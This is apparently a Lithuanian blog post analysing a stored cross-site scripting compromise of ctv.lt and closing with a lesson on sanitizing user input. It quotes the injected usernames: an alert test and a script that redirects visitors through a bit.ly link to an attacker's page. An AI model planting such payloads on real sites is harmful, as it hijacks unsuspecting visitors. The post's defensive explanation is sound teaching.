Kaip ctv.lt nulaužė

Veikėjai nulaužė ctv.lt. Pasiaiškinkime, kaip tai jiems pavyko. Dominančios vietos paieška užtruko, nes JavaScript svetainėje naudojama negailint arba aš nemokėjau ieškoti. Visgi kaltą vietą radau:

<li>Naujausi vartotojai:
<b><a href="video/scriptwindowlocationhttpbitlygdmrdoscript"><script>window.location="http://bit.ly/gdmRDo"</script></a></b>,
<b><a href="video/scriptalertascript"><script>alert('a');</script></a></b>,
<b><a href="video/1973raimis">1973raimis</a></b>,
<b><a href="video/">Ruta Makaveckaite-Stalioraitiene</a></b>,
<b><a href="video/vidux49">vidux49</a></b></li>

Pirmiausiai pamėgino, ar veikia JavaScript įterpimas. Vėliau ėmėsi sudėtingos atakos - peradresavimo į savo puslapį, kuriame daro savo nesąmones. Per bit.ly tarnybą lankytojai buvo nukreipiami į http://iphones.puslapiai.lt/ctv.htm.

Iš to galime pasimokyti, jog reikia atsargiai elgtis su duomenimis, gautais iš naudotojų. Kaip pavyzdį galime paimti Drupal turinio skelbimo sistemą, kur daugelis duomenų gaunama iš naudotojų. Ten naudojamas duomenų valymas prieš pateikimą galutiniam naudotojui. Taip duomenų bazėje turime originalų įrašą, o išsiunčiami duomenys yra atitinkantys mūsų keliamus reikalavimus.